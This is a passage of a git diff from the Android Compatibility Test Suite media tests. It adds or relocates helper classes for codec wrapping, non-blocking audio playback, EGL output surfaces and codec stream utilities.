+        AMediaCodecReleaseOutputBuffer(mNdkMediaCodec, index, render);
+    }
+
+    @Override
+    public void signalEndOfInputStream() {
+        AMediaCodecSignalEndOfInputStream(mNdkMediaCodec);
+    }
+
+    @Override
+    public String getOutputFormatString() {
+        return AMediaCodecGetOutputFormatString(mNdkMediaCodec);
+    }
+
+    @Override
+    public ByteBuffer[] getOutputBuffers() {
+        return null;
+    }
+
+    @Override
+    public ByteBuffer getInputBuffer(int index) {
+        return AMediaCodecGetInputBuffer(mNdkMediaCodec, index);
+    }
+
+    @Override
+    public ByteBuffer[] getInputBuffers() {
+        return null;
+    }
+
+    @Override
+    public void queueInputBuffer(
+            int index,
+            int offset,
+            int size,
+            long presentationTimeUs,
+            int flags) {
+
+        AMediaCodecQueueInputBuffer(mNdkMediaCodec, index, offset, size, presentationTimeUs, flags);
+
+    }
+
+    @Override
+    public int dequeueInputBuffer(long timeoutUs) {
+        return AMediaCodecDequeueInputBuffer(mNdkMediaCodec, timeoutUs);
+    }
+
+    @Override
+    public void setParameters(Bundle params) {
+
+        String keys[] = new String[] {
+                MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME,
+                MediaCodec.PARAMETER_KEY_VIDEO_BITRATE};
+
+        for (String key : keys) {
+            if (params.containsKey(key)) {
+                int value = params.getInt(key);
+                AMediaCodecSetParameter(mNdkMediaCodec, key, value);
+            }
+        }
+
+    }
+
+    @Override
+    public void setCallback(Callback mCallback) {
+        throw new UnsupportedOperationException(mCallback.toString());
+    }
+
+    @Override
+    public String toString() {
+        return String.format("%s(%s, %x)", getClass(), mName, mNdkMediaCodec);
+    }
+}
diff --git a/tests/tests/media/common/src/android/media/cts/NonBlockingAudioTrack.java b/tests/tests/media/common/src/android/media/cts/NonBlockingAudioTrack.java
new file mode 100644
index 0000000..409ba86
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/NonBlockingAudioTrack.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.media.AudioAttributes;
+import android.media.AudioFormat;
+import android.media.AudioManager;
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+
+import java.nio.ByteBuffer;
+import java.util.LinkedList;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Class for playing audio by using audio track.
+ * {@link #write(byte[], int, int)} and {@link #write(short[], int, int)} methods will
+ * block until all data has been written to system. In order to avoid blocking, this class
+ * caculates available buffer size first then writes to audio sink.
+ */
+public class NonBlockingAudioTrack {
+    private static final String TAG = NonBlockingAudioTrack.class.getSimpleName();
+
+    class QueueElement {
+        ByteBuffer data;
+        int size;
+        long pts;
+    }
+
+    private AudioTrack mAudioTrack;
+    private int mSampleRate;
+    private int mNumBytesQueued = 0;
+    private AtomicInteger mTotalBytesWritten = new AtomicInteger(0);
+    private LinkedList<QueueElement> mQueue = new LinkedList<QueueElement>();
+    private boolean mStopped;
+    private boolean mShouldStopWriting = false;
+    private int mBufferSizeInBytes;
+
+    public NonBlockingAudioTrack(int sampleRate, int channelCount, boolean hwAvSync,
+                    int audioSessionId) {
+        int channelConfig;
+        switch (channelCount) {
+            case 1:
+                channelConfig = AudioFormat.CHANNEL_OUT_MONO;
+                break;
+            case 2:
+                channelConfig = AudioFormat.CHANNEL_OUT_STEREO;
+                break;
+            case 6:
+                channelConfig = AudioFormat.CHANNEL_OUT_5POINT1;
+                break;
+            default:
+                throw new IllegalArgumentException();
+        }
+
+        int minBufferSize =
+            AudioTrack.getMinBufferSize(
+                    sampleRate,
+                    channelConfig,
+                    AudioFormat.ENCODING_PCM_16BIT);
+
+        mBufferSizeInBytes = 2 * minBufferSize;
+
+        if (!hwAvSync) {
+            mAudioTrack = new AudioTrack(
+                    AudioManager.STREAM_MUSIC,
+                    sampleRate,
+                    channelConfig,
+                    AudioFormat.ENCODING_PCM_16BIT,
+                    mBufferSizeInBytes,
+                    AudioTrack.MODE_STREAM);
+        }
+        else {
+            // build AudioTrack using Audio Attributes and FLAG_HW_AV_SYNC
+            AudioAttributes audioAttributes = (new AudioAttributes.Builder())
+                            .setLegacyStreamType(AudioManager.STREAM_MUSIC)
+                            .setFlags(AudioAttributes.FLAG_HW_AV_SYNC)
+                            .build();
+            AudioFormat audioFormat = (new AudioFormat.Builder())
+                            .setChannelMask(channelConfig)
+                            .setEncoding(AudioFormat.ENCODING_PCM_16BIT)
+                            .setSampleRate(sampleRate)
+                            .build();
+            mAudioTrack = new AudioTrack(audioAttributes, audioFormat, mBufferSizeInBytes,
+                                    AudioTrack.MODE_STREAM, audioSessionId);
+        }
+
+        mSampleRate = sampleRate;
+    }
+
+    public long getAudioTimeUs() {
+        int numFramesPlayed = mAudioTrack.getPlaybackHeadPosition();
+
+        return (numFramesPlayed * 1000000L) / mSampleRate;
+    }
+
+    public AudioTimestamp getTimestamp() {
+        AudioTimestamp timestamp = new AudioTimestamp();
+        mAudioTrack.getTimestamp(timestamp);
+        return timestamp;
+    }
+
+    public int getNumBytesQueued() {
+        return mNumBytesQueued;
+    }
+
+    public void play() {
+        mStopped = false;
+        mAudioTrack.play();
+    }
+
+    public void stop() {
+        if (mQueue.isEmpty()) {
+            mAudioTrack.stop();
+            mNumBytesQueued = 0;
+        } else {
+            mStopped = true;
+        }
+    }
+
+    public void pause() {
+        mAudioTrack.pause();
+    }
+
+    public void flush() {
+        if (mAudioTrack.getPlayState() == AudioTrack.PLAYSTATE_PLAYING) {
+            return;
+        }
+        mAudioTrack.flush();
+        mQueue.clear();
+        mNumBytesQueued = 0;
+        mStopped = false;
+    }
+
+    public void release() {
+        mQueue.clear();
+        mNumBytesQueued = 0;
+        mAudioTrack.release();
+        mAudioTrack = null;
+        mStopped = false;
+    }
+
+    public void process() {
+        while (!mQueue.isEmpty() && !mShouldStopWriting) {
+            QueueElement element = mQueue.peekFirst();
+            int written = mAudioTrack.write(element.data, element.size,
+                                            AudioTrack.WRITE_NON_BLOCKING, element.pts);
+            if (written < 0) {
+                throw new RuntimeException("Audiotrack.write() failed.");
+            }
+
+            mTotalBytesWritten.addAndGet(written);
+            mNumBytesQueued -= written;
+            element.size -= written;
+            if (element.size != 0) {
+                break;
+            }
+            mQueue.removeFirst();
+        }
+        if (mStopped) {
+            mAudioTrack.stop();
+            mNumBytesQueued = 0;
+            mStopped = false;
+        }
+    }
+
+    public int getFramesWritten() {
+        if (mAudioTrack == null) {
+            return -1;
+        }
+        return mTotalBytesWritten.get() / mAudioTrack.getFormat().getFrameSizeInBytes();
+    }
+
+    public void stopWriting(boolean shouldStopWriting) {
+        mShouldStopWriting = shouldStopWriting;
+    }
+
+    public int getPlayState() {
+        return mAudioTrack.getPlayState();
+    }
+
+    public void write(ByteBuffer data, int size, long pts) {
+        QueueElement element = new QueueElement();
+        element.data = data;
+        element.size = size;
+        element.pts  = pts;
+
+        // accumulate size written to queue
+        mNumBytesQueued += size;
+        mQueue.add(element);
+    }
+
+    /** Returns the underlying {@code AudioTrack}. */
+    public AudioTrack getAudioTrack() {
+        return mAudioTrack;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java b/tests/tests/media/common/src/android/media/cts/NonMediaMainlineTest.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/NonMediaMainlineTest.java
rename to tests/tests/media/common/src/android/media/cts/NonMediaMainlineTest.java
diff --git a/tests/tests/media/common/src/android/media/cts/OutputSurface.java b/tests/tests/media/common/src/android/media/cts/OutputSurface.java
new file mode 100644
index 0000000..ed65601
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/OutputSurface.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.graphics.SurfaceTexture;
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.util.Log;
+import android.view.Surface;
+
+
+/**
+ * Holds state associated with a Surface used for MediaCodec decoder output.
+ * <p>
+ * The (width,height) constructor for this class will prepare GL, create a SurfaceTexture,
+ * and then create a Surface for that SurfaceTexture.  The Surface can be passed to
+ * MediaCodec.configure() to receive decoder output.  When a frame arrives, we latch the
+ * texture with updateTexImage, then render the texture with GL to a pbuffer.
+ * <p>
+ * The no-arg constructor skips the GL preparation step and doesn't allocate a pbuffer.
+ * Instead, it just creates the Surface and SurfaceTexture, and when a frame arrives
+ * we just draw it on whatever surface is current.
+ * <p>
+ * By default, the Surface will be using a BufferQueue in asynchronous mode, so we
+ * can potentially drop frames.
+ */
+public class OutputSurface implements SurfaceTexture.OnFrameAvailableListener {
+    private static final String TAG = "OutputSurface";
+    private static final boolean VERBOSE = false;
+
+    private EGLDisplay mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+    private EGLContext mEGLContext = EGL14.EGL_NO_CONTEXT;
+    private EGLSurface mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+    private SurfaceTexture mSurfaceTexture;
+    private Surface mSurface;
+
+    private Object mFrameSyncObject = new Object();     // guards mFrameAvailable
+    private boolean mFrameAvailable;
+
+    private TextureRender mTextureRender;
+
+    /**
+     * Creates an OutputSurface backed by a pbuffer with the specifed dimensions.  The new
+     * EGL context and surface will be made current.  Creates a Surface that can be passed
+     * to MediaCodec.configure().
+     */
+    public OutputSurface(int width, int height) {
+        if (width <= 0 || height <= 0) {
+            throw new IllegalArgumentException();
+        }
+
+        eglSetup(width, height);
+        makeCurrent();
+
+        setup(this);
+    }
+
+    /**
+     * Creates an OutputSurface using the current EGL context (rather than establishing a
+     * new one).  Creates a Surface that can be passed to MediaCodec.configure().
+     */
+    public OutputSurface() {
+        setup(this);
+    }
+
+    public OutputSurface(final SurfaceTexture.OnFrameAvailableListener listener) {
+        setup(listener);
+    }
+
+    /**
+     * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
+     * with the SurfaceTexture.
+     */
+    private void setup(SurfaceTexture.OnFrameAvailableListener listener) {
+        mTextureRender = new TextureRender();
+        mTextureRender.surfaceCreated();
+
+        // Even if we don't access the SurfaceTexture after the constructor returns, we
+        // still need to keep a reference to it.  The Surface doesn't retain a reference
+        // at the Java level, so if we don't either then the object can get GCed, which
+        // causes the native finalizer to run.
+        if (VERBOSE) Log.d(TAG, "textureID=" + mTextureRender.getTextureId());
+        mSurfaceTexture = new SurfaceTexture(mTextureRender.getTextureId());
+
+        // This doesn't work if OutputSurface is created on the thread that CTS started for
+        // these test cases.
+        //
+        // The CTS-created thread has a Looper, and the SurfaceTexture constructor will
+        // create a Handler that uses it.  The "frame available" message is delivered
+        // there, but since we're not a Looper-based thread we'll never see it.  For
+        // this to do anything useful, OutputSurface must be created on a thread without
+        // a Looper, so that SurfaceTexture uses the main application Looper instead.
+        //
+        // Java language note: passing "this" out of a constructor is generally unwise,
+        // but we should be able to get away with it here.
+        mSurfaceTexture.setOnFrameAvailableListener(listener);
+
+        mSurface = new Surface(mSurfaceTexture);
+    }
+
+    /**
+     * Prepares EGL.  We want a GLES 2.0 context and a surface that supports pbuffer.
+     */
+    private void eglSetup(int width, int height) {
+        mEGLDisplay = EGL14.eglGetDisplay(EGL14.EGL_DEFAULT_DISPLAY);
+        if (mEGLDisplay == EGL14.EGL_NO_DISPLAY) {
+            throw new RuntimeException("unable to get EGL14 display");
+        }
+        int[] version = new int[2];
+        if (!EGL14.eglInitialize(mEGLDisplay, version, 0, version, 1)) {
+            mEGLDisplay = null;
+            throw new RuntimeException("unable to initialize EGL14");
+        }
+
+        // Configure EGL for pbuffer and OpenGL ES 2.0.  We want enough RGB bits
+        // to be able to tell if the frame is reasonable.
+        int[] attribList = {
+                EGL14.EGL_RED_SIZE, 8,
+                EGL14.EGL_GREEN_SIZE, 8,
+                EGL14.EGL_BLUE_SIZE, 8,
+                EGL14.EGL_RENDERABLE_TYPE, EGL14.EGL_OPENGL_ES2_BIT,
+                EGL14.EGL_SURFACE_TYPE, EGL14.EGL_PBUFFER_BIT,
+                EGL14.EGL_NONE
+        };
+        EGLConfig[] configs = new EGLConfig[1];
+        int[] numConfigs = new int[1];
+        if (!EGL14.eglChooseConfig(mEGLDisplay, attribList, 0, configs, 0, configs.length,
+                numConfigs, 0)) {
+            throw new RuntimeException("unable to find RGB888+recordable ES2 EGL config");
+        }
+
+        // Configure context for OpenGL ES 2.0.
+        int[] attrib_list = {
+                EGL14.EGL_CONTEXT_CLIENT_VERSION, 2,
+                EGL14.EGL_NONE
+        };
+        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
+                attrib_list, 0);
+        checkEglError("eglCreateContext");
+        if (mEGLContext == null) {
+            throw new RuntimeException("null context");
+        }
+
+        // Create a pbuffer surface.  By using this for output, we can use glReadPixels
+        // to test values in the output.
+        int[] surfaceAttribs = {
+                EGL14.EGL_WIDTH, width,
+                EGL14.EGL_HEIGHT, height,
+                EGL14.EGL_NONE
+        };
+        mEGLSurface = EGL14.eglCreatePbufferSurface(mEGLDisplay, configs[0], surfaceAttribs, 0);
+        checkEglError("eglCreatePbufferSurface");
+        if (mEGLSurface == null) {
+            throw new RuntimeException("surface was null");
+        }
+    }
+
+    /**
+     * Discard all resources held by this class, notably the EGL context.
+     */
+    public void release() {
+        if (mEGLDisplay != EGL14.EGL_NO_DISPLAY) {
+            EGL14.eglDestroySurface(mEGLDisplay, mEGLSurface);
+            EGL14.eglDestroyContext(mEGLDisplay, mEGLContext);
+            EGL14.eglReleaseThread();
+            EGL14.eglTerminate(mEGLDisplay);
+        }
+
+        mSurface.release();
+
+        // this causes a bunch of warnings that appear harmless but might confuse someone:
+        //  W BufferQueue: [unnamed-3997-2] cancelBuffer: BufferQueue has been abandoned!
+        //mSurfaceTexture.release();
+
+        mEGLDisplay = EGL14.EGL_NO_DISPLAY;
+        mEGLContext = EGL14.EGL_NO_CONTEXT;
+        mEGLSurface = EGL14.EGL_NO_SURFACE;
+
+        mTextureRender = null;
+        mSurface = null;
+        mSurfaceTexture = null;
+    }
+
+    /**
+     * Makes our EGL context and surface current.
+     */
+    public void makeCurrent() {
+        if (!EGL14.eglMakeCurrent(mEGLDisplay, mEGLSurface, mEGLSurface, mEGLContext)) {
+            throw new RuntimeException("eglMakeCurrent failed");
+        }
+    }
+
+    /**
+     * Returns the Surface that we draw onto.
+     */
+    public Surface getSurface() {
+        return mSurface;
+    }
+
+    /**
+     * Replaces the fragment shader.
+     */
+    public void changeFragmentShader(String fragmentShader) {
+        mTextureRender.changeFragmentShader(fragmentShader);
+    }
+
+    /**
+     * Latches the next buffer into the texture.  Must be called from the thread that created
+     * the OutputSurface object, after the onFrameAvailable callback has signaled that new
+     * data is available.
+     */
+    public void awaitNewImage() {
+        final int TIMEOUT_MS = 2000;
+
+        synchronized (mFrameSyncObject) {
+            while (!mFrameAvailable) {
+                try {
+                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
+                    // stalling the test if it doesn't arrive.
+                    mFrameSyncObject.wait(TIMEOUT_MS);
+                    if (!mFrameAvailable) {
+                        // TODO: if "spurious wakeup", continue while loop
+                        throw new RuntimeException("Surface frame wait timed out");
+                    }
+                } catch (InterruptedException ie) {
+                    // shouldn't happen
+                    throw new RuntimeException(ie);
+                }
+            }
+            mFrameAvailable = false;
+        }
+
+        // Latch the data.
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+    }
+
+    /**
+     * Wait up to given timeout until new image become available.
+     * @param timeoutMs
+     * @return true if new image is available. false for no new image until timeout.
+     */
+    public boolean checkForNewImage(int timeoutMs) {
+        synchronized (mFrameSyncObject) {
+            while (!mFrameAvailable) {
+                try {
+                    // Wait for onFrameAvailable() to signal us.  Use a timeout to avoid
+                    // stalling the test if it doesn't arrive.
+                    mFrameSyncObject.wait(timeoutMs);
+                    if (!mFrameAvailable) {
+                        return false;
+                    }
+                } catch (InterruptedException ie) {
+                    // shouldn't happen
+                    throw new RuntimeException(ie);
+                }
+            }
+            mFrameAvailable = false;
+        }
+
+        // Latch the data.
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+        return true;
+    }
+
+    /**
+     * Draws the data from SurfaceTexture onto the current EGL surface.
+     */
+    public void drawImage() {
+        mTextureRender.drawFrame(mSurfaceTexture);
+    }
+
+    public void latchImage() {
+        mTextureRender.checkGlError("before updateTexImage");
+        mSurfaceTexture.updateTexImage();
+    }
+
+    @Override
+    public void onFrameAvailable(SurfaceTexture st) {
+        if (VERBOSE) Log.d(TAG, "new frame available");
+        synchronized (mFrameSyncObject) {
+            if (mFrameAvailable) {
+                throw new RuntimeException("mFrameAvailable already set, frame could be dropped");
+            }
+            mFrameAvailable = true;
+            mFrameSyncObject.notifyAll();
+        }
+    }
+
+    /**
+     * Checks for EGL errors.
+     */
+    private void checkEglError(String msg) {
+        int error;
+        if ((error = EGL14.eglGetError()) != EGL14.EGL_SUCCESS) {
+            throw new RuntimeException(msg + ": EGL error: 0x" + Integer.toHexString(error));
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/PostProcTestBase.java b/tests/tests/media/common/src/android/media/cts/PostProcTestBase.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/PostProcTestBase.java
rename to tests/tests/media/common/src/android/media/cts/PostProcTestBase.java
diff --git a/tests/tests/media/src/android/media/cts/Preconditions.java b/tests/tests/media/common/src/android/media/cts/Preconditions.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/Preconditions.java
rename to tests/tests/media/common/src/android/media/cts/Preconditions.java
diff --git a/tests/tests/media/src/android/media/cts/SdkMediaCodec.java b/tests/tests/media/common/src/android/media/cts/SdkMediaCodec.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/SdkMediaCodec.java
rename to tests/tests/media/common/src/android/media/cts/SdkMediaCodec.java
diff --git a/tests/tests/media/common/src/android/media/cts/StreamUtils.java b/tests/tests/media/common/src/android/media/cts/StreamUtils.java
new file mode 100644
index 0000000..aa97f58
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/StreamUtils.java
@@ -0,0 +1,336 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.fail;
+import android.media.AudioFormat;
+import android.media.MediaCodec;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.util.Log;
+import java.io.BufferedInputStream;
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.ShortBuffer;
+
+public class StreamUtils {
+    private static final String TAG = "CtsMediaStreamUtils";
+
+    public static abstract class ByteBufferStream {
+        public abstract ByteBuffer read() throws IOException;
+    }
+
+    public static class MediaCodecStream extends ByteBufferStream implements Closeable {
+        private ByteBufferStream mBufferInputStream;
+        private InputStream mInputStream;
+        private MediaCodec mCodec;
+        public boolean mIsFloat;
+        BufferInfo mInfo = new BufferInfo();
+        boolean mSawOutputEOS;
+        boolean mSawInputEOS;
+        boolean mEncode;
+        boolean mSentConfig;
+
+        // result stream
+        private byte[] mBuf = null;
+        private byte[] mCache = null;
+        private int mBufIn = 0;
+        private int mBufOut = 0;
+        private int mBufCounter = 0;
+
+        private MediaExtractor mExtractor; // Read from Extractor instead of InputStream
+        // helper for bytewise read()
+        private byte[] mOneByte = new byte[1];
+
+        public MediaCodecStream(
+                MediaFormat format,
+                boolean encode) throws Exception {
+            String mime = format.getString(MediaFormat.KEY_MIME);
+            mEncode = encode;
+            if (mEncode) {
+                mCodec = MediaCodec.createEncoderByType(mime);
+            } else {
+                mCodec = MediaCodec.createDecoderByType(mime);
+            }
+            mCodec.configure(format,null, null, encode ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+
+            // check if float
+            final MediaFormat actualFormat =
+                    encode ? mCodec.getInputFormat() : mCodec.getOutputFormat();
+
+            mIsFloat = actualFormat.getInteger(
+                    MediaFormat.KEY_PCM_ENCODING, AudioFormat.ENCODING_PCM_16BIT)
+                            == AudioFormat.ENCODING_PCM_FLOAT;
+
+            mCodec.start();
+        }
+
+        public MediaCodecStream(
+                InputStream input,
+                MediaFormat format,
+                boolean encode) throws Exception {
+            this(format, encode);
+            mInputStream = input;
+        }
+
+        public MediaCodecStream(
+                ByteBufferStream input,
+                MediaFormat format,
+                boolean encode) throws Exception {
+            this(format, encode);
+            mBufferInputStream = input;
+        }
+
+        public MediaCodecStream(MediaExtractor mediaExtractor,
+                MediaFormat format) throws Exception {
+            this(format, false /* encode */);
+            mExtractor = mediaExtractor;
+        }
+
+        @Override
+        public ByteBuffer read() throws IOException {
+
+            if (mSawOutputEOS) {
+                return null;
+            }
+
+            // first push as much data into the codec as possible
+            while (!mSawInputEOS) {
+                Log.i(TAG, "sending data to " + mCodec.getName());
+                int index = mCodec.dequeueInputBuffer(5000);
+                if (index < 0) {
+                    // no input buffer currently available
+                    break;
+                } else {
+                    ByteBuffer buf = mCodec.getInputBuffer(index);
+                    buf.clear();
+                    int inBufLen = buf.limit();
+                    int numRead = 0;
+                    long timestampUs = 0; // non-zero for MediaExtractor mode
+                    if (mExtractor != null) {
+                        numRead = mExtractor.readSampleData(buf, 0 /* offset */);
+                        timestampUs = mExtractor.getSampleTime();
+                        Log.v(TAG, "MediaCodecStream.read using Extractor, numRead "
+                                + numRead +" timestamp " + timestampUs);
+                        mExtractor.advance();
+                        if(numRead < 0) {
+                           mSawInputEOS = true;
+                           timestampUs = 0;
+                           numRead =0;
+                        }
+                    } else if (mBufferInputStream != null) {
+                        ByteBuffer in = null;
+                        do {
+                            in = mBufferInputStream.read();
+                        } while (in != null && in.limit() - in.position() == 0);
+                        if (in == null) {
+                            mSawInputEOS = true;
+                        } else {
+                            final int n = in.limit() - in.position();
+                            numRead += n;
+                            buf.put(in);
+                        }
+                    } else if (mInputStream != null) {
+                        if (mBuf == null) {
+                            mBuf = new byte[inBufLen];
+                        }
+                        for (numRead = 0; numRead < inBufLen; ) {
+                            int n = mInputStream.read(mBuf, numRead, inBufLen - numRead);
+                            if (n == -1) {
+                                mSawInputEOS = true;
+                                break;
+                            }
+                            numRead += n;
+                        }
+                        buf.put(mBuf, 0, numRead);
+                    } else {
+                        fail("no input");
+                    }
+
+                    int flags = mSawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0;
+                    if (!mEncode && !mSentConfig && mExtractor == null) {
+                        flags |= MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+                        mSentConfig = true;
+                    }
+                    Log.i(TAG, "queuing input buffer " + index +
+                            ", size " + numRead + ", flags: " + flags +
+                            " on " + mCodec.getName());
+                    mCodec.queueInputBuffer(index,
+                            0 /* offset */,
+                            numRead,
+                            timestampUs /* presentationTimeUs */,
+                            flags);
+                    Log.i(TAG, "queued input buffer " + index + ", size " + numRead);
+                }
+            }
+
+            // now read data from the codec
+            Log.i(TAG, "reading from " + mCodec.getName());
+            int index = mCodec.dequeueOutputBuffer(mInfo, 5000);
+            if (index >= 0) {
+                Log.i(TAG, "got " + mInfo.size + " bytes from " + mCodec.getName());
+                ByteBuffer out = mCodec.getOutputBuffer(index);
+                ByteBuffer ret = ByteBuffer.allocate(mInfo.size);
+                ret.put(out);
+                mCodec.releaseOutputBuffer(index,  false /* render */);
+                if ((mInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.i(TAG, "saw output EOS on " + mCodec.getName());
+                    mSawOutputEOS = true;
+                }
+                ret.flip(); // prepare buffer for reading from it
+                // XXX chck that first encoded buffer has CSD flags set
+                if (mEncode && mBufCounter++ == 0 && (mInfo.flags &
+                    MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+                    fail("first encoded buffer missing CSD flag");
+                }
+                return ret;
+            } else if (index == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                Log.i(TAG, mCodec.getName() + " new format: " + mCodec.getOutputFormat());
+            }
+            return ByteBuffer.allocate(0);
+        }
+
+        @Override
+        public void close() throws IOException {
+            try {
+                if (mInputStream != null) {
+                    mInputStream.close();
+                }
+            } finally {
+                mInputStream = null;
+                try {
+                    if (mCodec != null) {
+                        mCodec.release();
+                    }
+                } finally {
+                    mCodec = null;
+                }
+            }
+        }
+
+        @Override
+        protected void finalize() throws Throwable {
+            if (mCodec != null) {
+                Log.w(TAG, "MediaCodecInputStream wasn't closed");
+                mCodec.release();
+            }
+        }
+    };
+
+    public static class ByteBufferInputStream extends InputStream {
+        ByteBufferStream mInput;
+        ByteBuffer mBuffer;
+
+        public ByteBufferInputStream(ByteBufferStream in) {
+            mInput = in;
+            mBuffer = ByteBuffer.allocate(0);
+        }
+
+        @Override
+        public int read() throws IOException {
+            while (mBuffer != null && !mBuffer.hasRemaining()) {
+                Log.i(TAG, "reading buffer");
+                mBuffer = mInput.read();
+            }
+
+            if (mBuffer == null) {
+                return -1;
+            }
+
+            return (0xff & mBuffer.get());
+        }
+    };
+
+    public static class PcmAudioBufferStream extends ByteBufferStream {
+
+        public int mCount;         // either 0 or 1 if the buffer has been delivered
+        public ByteBuffer mBuffer; // the audio buffer (furnished duplicated, read only).
+
+        public PcmAudioBufferStream(
+            int samples, int sampleRate, double frequency, double sweep, boolean useFloat) {
+            final int sampleSize = useFloat ? 4 : 2;
+            final int sizeInBytes = samples * sampleSize;
+            mBuffer = ByteBuffer.allocate(sizeInBytes);
+            mBuffer.order(java.nio.ByteOrder.nativeOrder());
+            if (useFloat) {
+                FloatBuffer fb = mBuffer.asFloatBuffer();
+                float[] fa = AudioHelper.createSoundDataInFloatArray(
+                    samples, sampleRate, frequency, sweep);
+                for (int i = 0; i < fa.length; ++i) {
+                    // quantize to a Q.23 integer so that identity is preserved
+                    fa[i] = (float)((int)(fa[i] * ((1 << 23) - 1))) / (1 << 23);
+                }
+                fb.put(fa);
+            } else {
+                ShortBuffer sb = mBuffer.asShortBuffer();
+                sb.put(AudioHelper.createSoundDataInShortArray(
+                    samples, sampleRate, frequency, sweep));
+            }
+            mBuffer.limit(sizeInBytes);
+        }
+
+        // duplicating constructor
+        public PcmAudioBufferStream(PcmAudioBufferStream other) {
+            mCount = 0;
+            mBuffer = other.mBuffer; // ok to copy, furnished read-only
+        }
+
+        public int sizeInBytes() {
+            return mBuffer.capacity();
+        }
+
+        @Override
+        public ByteBuffer read() throws IOException {
+            if (mCount < 1 /* only one buffer */) {
+                ++mCount;
+                return mBuffer.asReadOnlyBuffer();
+            }
+            return null;
+        }
+    }
+
+    public static int compareStreams(InputStream test, InputStream reference) {
+        Log.i(TAG, "compareStreams");
+        BufferedInputStream buffered_test = new BufferedInputStream(test);
+        BufferedInputStream buffered_reference = new BufferedInputStream(reference);
+        int numread = 0;
+        try {
+            while (true) {
+                int b1 = buffered_test.read();
+                int b2 = buffered_reference.read();
+                if (b1 != b2) {
+                    Log.e(TAG, "streams differ at " + numread + ": " + b1 + "/" + b2);
+                    return -1;
+                }
+                if (b1 == -1) {
+                    Log.e(TAG, "streams ended at " + numread);
+                    break;
+                }
+                numread++;
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "read error", e);
+            return -1;
+        }
+        Log.i(TAG, "compareStreams read " + numread);
+        return numread;
+    }
+}
diff --git a/tests/tests/media/common/src/android/media/cts/TestArgs.java b/tests/tests/media/common/src/android/media/cts/TestArgs.java
new file mode 100644
index 0000000..14b2a45
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/TestArgs.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+/**
+ * Contains arguments passed to the tests.
+ */
+public final class TestArgs {
+    private final static String TAG = "TestArgs";
+    private static final String CODEC_PREFIX_KEY = "codec-prefix";
+    private static final String CODEC_PREFIX;
